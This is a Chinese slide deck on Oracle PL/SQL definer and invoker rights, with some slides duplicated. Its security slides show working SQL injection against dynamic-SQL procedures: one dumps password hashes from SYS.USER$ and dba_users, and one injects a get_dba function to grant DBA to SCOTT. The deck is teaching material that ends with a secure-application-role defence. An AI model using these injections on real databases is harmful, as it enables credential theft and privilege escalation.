Upload
wasecurity
View
666
Download
18
Embed Size (px)
Citation preview
Oracle Database
定义者与调用者
(Definer vs. Invoker rights)
赵元杰
北京群环域科技有限公司
2012.2
2/32
内容提要
♠定义者与调用者概念
♠ PL/SQL 程序权限
♠ PL/SQL 程序安全问题
♠参考资源
3/32
定义者与调用者
♠ Definer vs. Invoker
♠ Oracle 数据库为组织代码库提供了两种选择: ♠ 定义者权限模式(Definer rights)
♠ 调用者权限模式(Invoker rights)
♠ 定义者权限体系结构
♠ 默认情况下 ,Oracle系统使用定义者权限体系结构
♠ 从Oracle 8i 开始引入调用者权限体系结构
♠ ERP/CRM数据库应用程序都使用了调用者权限
♠ Oracle应用程序套件使用定义者权限体系来共享通用代码组件和管理内部组件接口。因为数据都分布在同一个Oracle应用程序实例的各个子系统中,所以Oracle应用程序使用一个授权和同义词的体系来实现定义者权限。
4/32
为什么用定义者与调用者
♠ 为什么采用定义者与调用者权限
♠ 使用定义者权限或者调用者权限来执行Oracle数据库中的应用程序
♠ 定义者权限模式确保我们能控制对集中式数据的插入、更新和删除操作
♠ 而调用者权限模式则确保我们能控制对分布式数据的插入、更新和删除操作。
♠ 利用定义者或调用者体系结构创建的应用程序具有更好的可控性和组织结构,并且也更易于使用、支持和维护 。
5/32
定义者与调用者
♠ 定义者与调用者
♠ 定义者(Definer)指编译存储对象的所有者
♠ 调用者(Invoker)指拥有当前会话权限的模式,这可能和当前登录用户相同或不同(alter session set
current_schema 可以改变调用者Schema).
♠ 在定义存储PL/SQL程序单元时要选择使用定义者权限或调用者权限
♠ 在默认情况下,PL/SQL程序单元都是定义者权限程序
6/32
定义者与调用者权限
♠ 定义者权限
♠ PL/SQL程序单元是以这个程序单元拥有者的特权来执行它的,即任何具有这个PL/SQL程序单元执行权的用户都可以访问程序中的对象。
♠ 调用者权限
♠ 当前执行PL/SQL程序的用户不是该程序的创建者,而是通过授予”执行PL/SQL程序权限”来拥有
♠ 定义代码时,通过使用AUTHID CURRENT_USER关键字将存储PL/SQL程序体定义为具有调用者权限的对象
♠ 如果该过程的调用者(而非定义者)被授与系统权限execute any procedure或是被该过程的定义者grant execute on授权的话,不用这个AUTHID CURRENT_USER子句,调用者照样可以使用这个过程。
7/32
内容提要
♠定义者与调用者概念
♠ PL/SQL 程序权限
♠ PL/SQL 程序安全问题
♠参考资源
8/32
调用者(Invoker) 权限
alice’s schema dogbert’s schema
com.cisco.ipc.* com.cisco.myapp.calc
salary salary
9/32
定义者(Definer’s rights)权限
alice’s schema dogbert’s schema
com.cisco.ipc.* com.cisco.myapp.calc
salary salary
10/32
定义者与调用者权限
♠定义者与当前用户者权限:
♠定义者权限模式(Definer rights)
♠调用者权限模式(Invoker rights)
11/32
定义者与调用者权限
♠ PL/SQL对象权限:
♠ 默认下,执行权限属于创建者(定义者)
♠ AUTHID CURRENT_USER 关键字:
♠ 调用者要用 AUTHID CURRENT_USER 关键字来创建PL/SQL
程序,才能对该PL/SQL拥有编译权限和执行权限
♠ 例如:一个存储过程由SYS创建,但是SCOTT可以执行
AUTHID {CURRENT_USER|DEFINER}
CURRENT_USER 当前用户 …
DEFINER 创建存储过程的用户
AUTHID {CURRENT_USER|DEFINER}
CURRENT_USER 当前用户 …
DEFINER 创建存储过程的用户
12/32
定义者与调用者权限
♠ 创建定义者与调用者权限PL/SQL程序:
♠ 默认本来就是定义者,所以不需要使用AUTHID
DEFINER
♠ 调用者必须使用AUTHID CURRENT_USER
PROCEDURE test (…)
AUTHID DEFINER IS …
PROCEDURE JustDoIt (…) IS
PROCEDURE test (…)
AUTHID DEFINER IS …
PROCEDURE JustDoIt (…) IS
CREATE OR REPLACE PROCEDURE test
AUTHID CURRENT_USER IS
BEGIN
...
END;
CREATE OR REPLACE PROCEDURE test
AUTHID CURRENT_USER IS
BEGIN
...
END;
13/32
定义者与调用者权限
♠ 样例1-为什么用AUTHID CURRENT_USER :
♠ 存储过程默认是用定义者definer 的身份调用的,如果加上AUTHID CURRENT_USER,则用当前登陆的用户权限调用,如果该过程的调用者(而非定义者)被授与系统权限execute any procedure或是被该过程的定义者grant execute on授权的话,不用这个AUTHID CURRENT_USER子句,调用者照样可以使用这个过程。
♠ 在Oracle的存儲過程中,如果涉及到操作不同schema下的對象的時候,可以在不同的schema下寫相同的procedure,但這樣帶來的問題是維護和同步帶來了麻煩,可以在procedure中加上authid current_user,來說明procedure中操作的對象是當前連接用戶的對象而并不是procedure所屬用戶下的對象
14/32
定义者与调用者权限
♠ 样例1-为什么用AUTHID CURRENT_USER :
♠ 1.虽然具有DBA也不能在PL/SQL中动态创建表
SQL> select * from dba_role_privs where grantee='TEST';
GRANTEE GRANTED_ROLE ADMIN_OPTION DEFAULT_ROLE ------------ ------------ ------------ ------------ TEST DBA NO YES --用户拥有DBA这个role
--再创建一个测试存储过程:
create or replace procedure p_create_table is
begin
Execute Immediate 'create table create_table(id int)';
end p_create_table;
/
--然后测试
SQL> exec p_create_table;
begin p_create_table; end;
ORA-01031: 权限不足
ORA-06512: 在"TEST.P_CREATE_TABLE", line 3
ORA-06512: 在line 1
SQL> select * from dba_role_privs where grantee='TEST';
GRANTEE GRANTED_ROLE ADMIN_OPTION DEFAULT_ROLE ------------ ------------ ------------ ------------ TEST DBA NO YES --用户拥有DBA这个role
--再创建一个测试存储过程:
create or replace procedure p_create_table is
begin
Execute Immediate 'create table create_table(id int)';
end p_create_table;
/
--然后测试
SQL> exec p_create_table;
begin p_create_table; end;
ORA-01031: 权限不足
ORA-06512: 在"TEST.P_CREATE_TABLE", line 3
ORA-06512: 在line 1
15/32
定义者与调用者权限
♠ 样例1-为什么用AUTHID CURRENT_USER :
♠ 2.在PL/SQL中加入Authid Current_User
--拥有DBA 角色也不在存储过程中创建表。可有2种选择:
--1)显式进行系统权限,如grant create table to test;
--但这种方法太麻烦,有时候可能需要进行非常多的授权才能执行存储过程
--2)我们可在存储过程中使用角色(role)权限的方法:
--即 在存储过程加入Authid Current_User 就可以使用角色权限。
create or replace procedure p_create_table
Authid Current_User is
begin
Execute Immediate 'create table create_table(id int)';
end p_create_table;
--再尝试执行:
SQL> exec p_create_table;
PL/SQL procedure successfully completed
--拥有DBA 角色也不在存储过程中创建表。可有2种选择:
--1)显式进行系统权限,如grant create table to test;
--但这种方法太麻烦,有时候可能需要进行非常多的授权才能执行存储过程
--2)我们可在存储过程中使用角色(role)权限的方法:
--即 在存储过程加入Authid Current_User 就可以使用角色权限。
create or replace procedure p_create_table
Authid Current_User is
begin
Execute Immediate 'create table create_table(id int)';
end p_create_table;
--再尝试执行:
SQL> exec p_create_table;
PL/SQL procedure successfully completed
16/32
定义者与调用者权限
♠样例2:
♠ 1.以SCOTT用户(definer)创建2个过程对象
♠
$ sqlplus Scott/tiger
SQL>
SQL> create or replace procedure definer_proc
2 as
3 begin
4 for x in
5 ( select sys_context( 'userenv', 'current_user' ) current_user,
6 sys_context( 'userenv', 'session_user' ) session_user,
7 sys_context( 'userenv', 'current_schema' )
current_schema
8 from dual )
9 loop
10 dbms_output.put_line( 'Current User: ' || x.current_user );
11 dbms_output.put_line( 'Session User: ' || x.session_user );
12 dbms_output.put_line( 'Current Schema: ' ||
x.current_schema );
13 end loop;
14 end;
15 /
Procedure created.
SQL>
SQL> grant execute on definer_proc to test;
Grant succeeded.
$ sqlplus Scott/tiger
SQL>
SQL> create or replace procedure definer_proc
2 as
3 begin
4 for x in
5 ( select sys_context( 'userenv', 'current_user' ) current_user,
6 sys_context( 'userenv', 'session_user' ) session_user,
7 sys_context( 'userenv', 'current_schema' )
current_schema
8 from dual )
9 loop
10 dbms_output.put_line( 'Current User: ' || x.current_user );
11 dbms_output.put_line( 'Session User: ' || x.session_user );
12 dbms_output.put_line( 'Current Schema: ' ||
x.current_schema );
13 end loop;
14 end;
15 /
Procedure created.
SQL>
SQL> grant execute on definer_proc to test;
Grant succeeded.
SQL>
SQL> create or replace procedure invoker_proc
2 AUTHID CURRENT_USER
3 as
4 begin
5 for x in
6 ( select sys_context( 'userenv', 'current_user' ) current_user,
7 sys_context( 'userenv', 'session_user' ) session_user,
8 sys_context( 'userenv', 'current_schema' )
current_schema
9 from dual )
10 loop
11 dbms_output.put_line( 'Current User: ' || x.current_user );
12 dbms_output.put_line( 'Session User: ' || x.session_user );
13 dbms_output.put_line( 'Current Schema: ' ||
x.current_schema );
14 end loop;
15 end;
16 /
Procedure created.
SQL>
SQL> grant execute on invoker_proc to test;
Grant succeeded.
SQL>
SQL> create or replace procedure invoker_proc
2 AUTHID CURRENT_USER
3 as
4 begin
5 for x in
6 ( select sys_context( 'userenv', 'current_user' ) current_user,
7 sys_context( 'userenv', 'session_user' ) session_user,
8 sys_context( 'userenv', 'current_schema' )
current_schema
9 from dual )
10 loop
11 dbms_output.put_line( 'Current User: ' || x.current_user );
12 dbms_output.put_line( 'Session User: ' || x.session_user );
13 dbms_output.put_line( 'Current Schema: ' ||
x.current_schema );
14 end loop;
15 end;
16 /
Procedure created.
SQL>
SQL> grant execute on invoker_proc to test;
Grant succeeded.
17/32
定义者与调用者权限
♠样例2:
♠ 2.以test用户(invoker)身份执行对象
♠
SQL> connect test/test
Connected.
SQL>
SQL> set serveroutput on
SQL> exec scott.definer_proc
Current User: SCOTT
Session User: TEST
Current Schema: SCOTT
PL/SQL procedure successfully completed.
SQL> exec SCOTT.invoker_proc
Current User: TEST
Session User: TEST
Current Schema: TEST
PL/SQL procedure successfully completed.
SQL> connect test/test
Connected.
SQL>
SQL> set serveroutput on
SQL> exec scott.definer_proc
Current User: SCOTT
Session User: TEST
Current Schema: SCOTT
PL/SQL procedure successfully completed.
SQL> exec SCOTT.invoker_proc
Current User: TEST
Session User: TEST
Current Schema: TEST
PL/SQL procedure successfully completed.
18/32
定义者与调用者权限
♠ 样例2:
♠ 只有使用invoker者权限执行时,Schema才转换为TEST
♠ 通过alter session set current_schema方式修改当前模式之后,我们看到仍然是仅当使用invoker权限执行时,
Schmea方切换为SYSTEM
SQL> alter session set current_schema = system;
Session altered.
SQL> exec eygle.definer_proc
Current User: EYGLE
Session User: TEST
Current Schema: EYGLE
PL/SQL procedure successfully completed.
SQL> exec eygle.invoker_proc
Current User: TEST
Session User: TEST
Current Schema: SYSTEM
PL/SQL procedure successfully completed.
SQL> alter session set current_schema = system;
Session altered.
SQL> exec eygle.definer_proc
Current User: EYGLE
Session User: TEST
Current Schema: EYGLE
PL/SQL procedure successfully completed.
SQL> exec eygle.invoker_proc
Current User: TEST
Session User: TEST
Current Schema: SYSTEM
PL/SQL procedure successfully completed.
19/32
内容提要
♠定义者与调用者概念
♠ PL/SQL 程序权限
♠ PL/SQL 程序安全问题
♠参考资源
20/32
PL/SQL 攻击与安全
♠ PL/SQL 攻击方法:
♠ SELECT 语句
♠ DML – UPDATE, DELETE, INSERT
♠ Procedure中的匿名块(Anonymous PL/SQL
Blocks )
21/32
PL/SQL 攻击与安全
♠ 样例1-PL/SQL 安全问题例子:
♠ 选自David Litchfield
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER
VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS
WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
LOOP
FETCH CV INTO buffer;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER
VARCHAR2) AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS
WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
LOOP
FETCH CV INTO buffer;
DBMS_OUTPUT.PUT_LINE(BUFFER);
EXIT WHEN CV%NOTFOUND;
END LOOP;
CLOSE CV;
END;
/
22/32
PL/SQL 攻击与安全
♠样例1-PL/SQL 安全问题例子:
♠ EXEC SYS.LIST_LIBRARIES('SYS');
♠ EXEC SYS.LIST_LIBRARIES('FOO'' UNION
SELECT PASSWORD FROM SYS.USER$--');
♠容易从屏幕中打印!
23/32
PL/SQL 攻击与安全
♠样例2-PL/SQL 攻击例子:
♠ 1.写Procedure(选自Todd DeSantis)
CREATE OR REPLACE PROCEDURE LIST_TABLES(p_owner VARCHAR2)
IS
TYPE c_type IS REF CURSOR; l_cv c_type; l_buff VARCHAR2(100);
BEGIN
dbms_output.enable(100000);
OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE owner = ''' ||
p_owner || ''' AND object_type = ''TABLE''';
LOOP
FETCH l_cv INTO l_buff;
dbms_output.put_line(l_buff);
EXIT WHEN l_cv%NOTFOUND;
END LOOP;
CLOSE l_cv;
END;
/
CREATE OR REPLACE PROCEDURE LIST_TABLES(p_owner VARCHAR2)
IS
TYPE c_type IS REF CURSOR; l_cv c_type; l_buff VARCHAR2(100);
BEGIN
dbms_output.enable(100000);
OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE owner = ''' ||
p_owner || ''' AND object_type = ''TABLE''';
LOOP
FETCH l_cv INTO l_buff;
dbms_output.put_line(l_buff);
EXIT WHEN l_cv%NOTFOUND;
END LOOP;
CLOSE l_cv;
END;
/
24/32
PL/SQL 攻击与安全
♠样例2-PL/SQL 攻击例子:
♠ 2.执行存储过程List_tables
SQL> set serveroutput on
SQL> exec list_tables('SCOTT')
DEPT
EMP
BONUS
SALGRADE
SALGRADE
SQL> exec list_tables('KUKU'' UNION SELECT username || '':'' ||
password FROM dba_users--')
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:0B813E8C027CA786
…
SQL> set serveroutput on
SQL> exec list_tables('SCOTT')
DEPT
EMP
BONUS
SALGRADE
SALGRADE
SQL> exec list_tables('KUKU'' UNION SELECT username || '':'' ||
password FROM dba_users--')
BI:FA1D2B85B70213F3
CTXSYS:71E687F036AD56E5
DBSNMP:0B813E8C027CA786
…
25/32
PL/SQL 攻击与安全
♠样例2-PL/SQL 攻击例子:
♠ 3.编写函数-get_dba
CREATE OR REPLACE FUNCTION get_dba
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
RETURN 'Hacked';
END get_dba;
/
CREATE OR REPLACE FUNCTION get_dba
RETURN VARCHAR2
AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
RETURN 'Hacked';
END get_dba;
/
26/32
PL/SQL 攻击与安全
♠样例2-PL/SQL 攻击例子:
♠ 4.执行List_tables与get_dba
SQL> exec sys.list_tables('NOUSER'' || scott.get_dba()--')
PL/SQL procedure successfully completed.
SQL> @privs
Roles for current user
USERNAME GRANTED_ROLE
------------------------------ ------------
SCOTT CONNECT
SCOTT DBA
SCOTT RESOURCE
SQL> exec sys.list_tables('NOUSER'' || scott.get_dba()--')
PL/SQL procedure successfully completed.
SQL> @privs
Roles for current user
USERNAME GRANTED_ROLE
------------------------------ ------------
SCOTT CONNECT
SCOTT DBA
SCOTT RESOURCE
27/32
PL/SQL 安全预防方法
♠样例3-PL/SQL 安全预防例子:
♠步骤1.定义视图与授权
SQL> connect scott
Enter password:
Connected.
SQL> create view emp_job as (select ename, job from emp);
View created.
SQL> grant select on emp_job to blake;
Grant succeeded.
SQL> grant select on emp_job to james;
Grant succeeded.
SQL> connect scott
Enter password:
Connected.
SQL> create view emp_job as (select ename, job from emp);
View created.
SQL> grant select on emp_job to blake;
Grant succeeded.
SQL> grant select on emp_job to james;
Grant succeeded.
28/32
PL/SQL 安全预防方法
♠样例3-PL/SQL 安全预防例子:
♠步骤1.只能访问视图,而不能访问基表
SQL> connect ronb
Enter password:
Connected.
SQL> select count(*) from scott.emp_job;
COUNT(*)
--------------
14
SQL> select * from scott.emp;
select * from scott.emp
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL> connect ronb
Enter password:
Connected.
SQL> select count(*) from scott.emp_job;
COUNT(*)
--------------
14
SQL> select * from scott.emp;
select * from scott.emp
*
ERROR at line 1:
ORA-01031: insufficient privileges
29/32
PL/SQL 安全预防方法
♠样例3-PL/SQL 安全预防例子:
♠步骤2.创建应用角色
♠这个角色不能授予任何用户:
SQL> create role manager_role identified using access_control_ policy;
Role created.
SQL> grant select on scott.emp to manager_role;
Grant succeeded.
SQL> create role manager_role identified using access_control_ policy;
Role created.
SQL> grant select on scott.emp to manager_role;
Grant succeeded.
SQL> set role manager_role;
set role manager_role
*
ERROR at line 1:
ORA-28201: Not enough privileges to enable application role
'MANAGER_ROLE'
SQL> set role manager_role;
set role manager_role
*
ERROR at line 1:
ORA-28201: Not enough privileges to enable application role
'MANAGER_ROLE'
30/32
PL/SQL 安全预防方法
♠ 样例3-PL/SQL 安全预防例子:
♠ 步骤3.创建存储过程以便分配应用角色
♠ 这个存储过程检查当前登录的用户与emp_job 视图
♠ 如果用户是管理员(MANAGER )就授权访问这个表:
create or replace PROCEDURE access_control_ policy
authid current_user AS
v_user varchar2(50);
v_job varchar2(50);
BEGIN
--get the user from the context
v_user := lower( (sys_context ('userenv','session_user')));
--get the job description
select job into v_job
from scott.emp_job
where lower(ename) = v_user;
-- if we're a manager then set the role
If v_job = 'MANAGER'
Then DBMS_SESSION.SET_ROLE('manager_role');
else null;
end if;
END access_control_ policy;
/
create or replace PROCEDURE access_control_ policy
authid current_user AS
v_user varchar2(50);
v_job varchar2(50);
BEGIN
--get the user from the context
v_user := lower( (sys_context ('userenv','session_user')));
--get the job description
select job into v_job
from scott.emp_job
where lower(ename) = v_user;
-- if we're a manager then set the role
If v_job = 'MANAGER'
Then DBMS_SESSION.SET_ROLE('manager_role');
else null;
end if;
END access_control_ policy;
/
31/32
PL/SQL 安全预防方法
♠样例3-PL/SQL 安全预防例子:
♠步骤4.授予存储过程执行权限给用户,如:
SQL> grant execute on access_control_ policy to blake;
Grant succeeded.
SQL> grant execute on access_control_ policy to james;
Grant succeeded.
SQL> grant execute on access_control_ policy to blake;
Grant succeeded.
SQL> grant execute on access_control_ policy to james;
Grant succeeded.
32/32
PL/SQL 安全预防方法
♠样例3-PL/SQL 安全预防例子:
♠步骤5.测试:用户Blake 可访问emp表,而用户James 不能访问emp表
SQL> select * from emp_job;
ENAME JOB
---------- ---------
…
BLAKE
SQL> select * from emp_job;
ENAME JOB
---------- ---------
…
BLAKE
33/32
参考资源
♠ Oracle
♠ Oracle® Database PL/SQL User's Guide and Reference
10g Release 2 (10.2)Part Number B14261-01
♠ Oracle® Database 2 Day + Security Guide 11g Release 2
(11.2) E10575-06Creating a Secure Application Role
♠ NGS
♠ Next Generation Security Software Ltd.
♠ Oracle Forensics –Dissection of an Oracle Attack in the
Absence of Auditing